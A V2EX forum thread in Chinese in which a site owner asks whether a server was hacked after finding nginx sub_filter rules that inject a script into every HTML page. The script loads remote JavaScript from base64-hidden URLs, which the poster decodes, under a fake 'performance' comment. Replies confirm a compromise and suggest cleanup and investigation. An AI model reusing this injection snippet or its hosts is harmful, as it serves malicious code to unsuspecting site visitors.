这是网站被入侵了吗?

2025 年 11 月 27 日
 daokedao

昨天发现 nginx.conf 文件中被加入以下内容:

    sub_filter_types text/html;
    sub_filter '</head>' '<script>document.cookie="hasVisited178a=1;Max-Age=86400;Path=/";(function(){var hm=document.createElement("script");hm.src=atob("aHR0cHM6Ly9ib290c2NyaXRwLmNvbS9saWIvanF1ZXJ5LzQuNy4yL2pxdWVyeS5taW4uanM=");var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(hm,s);})();</script></head>';
    sub_filter_once off;


    # Performance Enhancement Block - DO NOT MODIFY
    # Nginx Performance Optimization Configuration
    # Auto-generated by performance tuning module
    sub_filter_types text/html;
    sub_filter '</head>' '<script>document.cookie="hasVisited178a=1;Max-Age=86400;Path=/";(function(){var hm=document.createElement("script");hm.src=atob("aHR0cHM6Ly9hLnNvZnN4ei5jb20vanVtcC5qcw==");var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(hm,s);})();</script>\n</head>';
    sub_filter_once off;
    # Performance Enhancement Block - DO NOT MODIFY_END

不懂这方面,在 google 上搜了搜,没搜到有用内容。问豆包说大概率是恶意脚本服务器(可能用于挖矿、盗号、刷流量、跳转钓鱼网站等)

aHR0cHM6Ly9ib290c2NyaXRwLmNvbS9saWIvanF1ZXJ5LzQuNy4yL2pxdWVyeS5taW4uanM=

base64 解码是 https://bootscritp.com/lib/jquery/4.7.2/jquery.min.js

aHR0cHM6Ly9hLnNvZnN4ei5jb20vanVtcC5qcw==

base64 解码是 https://a.sofsxz.com/jump.js

4550 次点击
所在节点    程序员
19 条回复
defunct9
2025 年 11 月 27 日
是的,u r right
Binini
2025 年 11 月 27 日
就没见过正常程序员用 createElement("script")还特么 atob 一串网址的
zhmouV2
2025 年 11 月 27 日
谁家好人藏脚本的原始地址啊?
第一个估计是被修改过的 jq ,应该是对请求做了限制,直接访问还被 cdn 挡住了
busier
2025 年 11 月 27 日
一般网站挂马也就罢了

这整得 web 服务器挂马
MFWT
2025 年 11 月 27 日
不用想,就是挂马,赶紧排查吧
sparkssssssss
2025 年 11 月 27 日
能直接修改你配置文件的,
如果用了啥 nginx 的管理面板的,赶紧仍了,
如果没有,那就更恐怖了,直接被人拿到 shell 了吧
superfatboy
2025 年 11 月 27 日
dcdlove
2025 年 11 月 27 日
不用怀疑,铁定被入侵,并在网站内容和 nginx 中挂马了
daokedao
2025 年 11 月 27 日
@superfatboy #7 感谢,和这篇文章中描述的问题完全一致 👍
5200
2025 年 11 月 27 日
得好好排查一下入侵的方式,他能挂第一次就能挂第二次。
iceecream
2025 年 11 月 27 日
文中是 644 ,改成 640 也没啥效果啊
busier
2025 年 11 月 27 日
@iceecream 当然没用 。644 改 640 只是取消 o 的读权限。最多能防止 o 读取文件泄漏配置内容。原文作者根本就搞不清楚这是在操作啥随便一说有用而已。

况且能修改这个配置文件,肯定是拿到 root 权限的。
Kirkcong
2025 年 11 月 27 日
删除这段代码以后,问题得到彻底的解决,一个问题随之而来:为什么服务器上的 ngnix 的配置文件这么容易被篡改?查看权限才知道为 644 ,改为 640 以后应该不会再有类似的问题了!

文章中这段有问题啊,4 的权限是读取,改成 0 没什么用啊,而且即便是 777 也得有途径登陆机器才能修改。那么这段恶意代码到底是怎么加入到服务器的 nginx 中的?看到作者展示了“nginx 管理器”的图片,这是不是类似于面板的东西?感觉有可能是通过面板的漏洞进来的。
Mantext1989
2025 年 11 月 27 日
yulgang
2025 年 11 月 27 日
# Performance Enhancement Block - DO NOT MODIFY
# Nginx Performance Optimization Configuration
# Auto-generated by performance tuning module


就是 Nginx 在转发静态页面时,将</head> 替换成后面那一托,相当于在每个网页里都插入了他的 JS 。

如果后端启用了 gzip 压缩,Nginx 这里的 sub_filter 就不好使了。

检查一下 Nginx 这台主机是不是开了不必要的端口,一些高危端口建议在防火墙上做好策略只允许特定 IP 访问 。

修改密码,清理 $HOME/.ssh/authorized_keys 里你不清楚的设置
pppan
2025 年 11 月 27 日
> 为什么服务器上的 ngnix 的配置文件这么容易被篡改?查看权限才知道为 644 ,改为 640 以后应该不会再有类似的问题了!

笑死,为什么我家的东西会被偷走?查看才知道原来我家的东西没有固定,用 502 固定以后应该不会再有类似的问题了!
fucker
2025 年 11 月 27 日
@pppan 和我想一块了,服务器被黑了讨论配置文件的权限干嘛
fucker
2025 年 11 月 27 日
家里床上被人拉了一坨,那你肯定要看看门窗锁没锁好,墙有没有被人凿开啊



检查自己服务器开放的服务有没有漏洞吧
fiveStarLaoliang
2025 年 11 月 27 日
赶紧重装系统吧,你的系统都被黑了

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/1175350

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX